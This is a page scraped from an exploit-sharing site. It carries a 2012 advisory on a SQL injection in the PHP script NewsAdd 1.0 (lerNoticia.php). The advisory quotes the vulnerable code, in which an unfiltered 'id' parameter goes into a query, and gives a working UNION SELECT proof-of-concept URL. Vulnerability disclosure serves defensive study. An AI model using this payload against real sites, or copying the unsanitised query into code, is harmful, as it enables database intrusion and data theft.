0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
NewsAdd <= 1.0 (lerNoticia.php id) SQL Injection Vulnerability
########################################################################## ## NewsAdd <= 1.0 (lerNoticia.php) Remote SQL Injection ## Google Dork: n/a ## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com> ## Date: 31/05/2012 ## Version: 1.0 ## Software Link: http://phpbrasil.com/script/3tCyUs1JeL1M/newsadd--mysql ## ISRAEL ########################################################################## ## Author will be not responsible for any damage. ########################################################################## ## **YOU SHOULD BE LOGGED IN** | **YOU SHOULD BE LOGGED IN** ########################################################################## ## Vulnerable Code - lerNoticia [15-22]: 21.if ($_GET) { 22. 23. $id = $_GET['id']; 24. 25. $query = "SELECT * FROM noticia WHERE id = '$id'"; 26. $sql = mysql_query($query); 27. 28. while($row = mysql_fetch_array($sql)) { 29. 30. echo "<strong><br>" . $row['titulo'] . "</strong> - postado em " . $row['data'] . "<br>" . $row['noticia'] . "<br>"; 31. echo "<a href='comentar.php?id=$row[0]'>comentar not?cia</a><br><br><hr>"; 32. 33. } 34. ## NOTE: ## As you can see there is no validation or any filter to variable $id. ## See line 23. so you can inject sql query by using $id variable; ## SQL Injection PoC: ## http://www.example.com/newsadd/lerNoticia.php?id=-0'+union+all+select+1,2,VERSION(),4,5+from+usuarios--+ ########################################################################## # Cya :) # 0x31337.net ########################################################################## # 0day.today [2024-06-23] #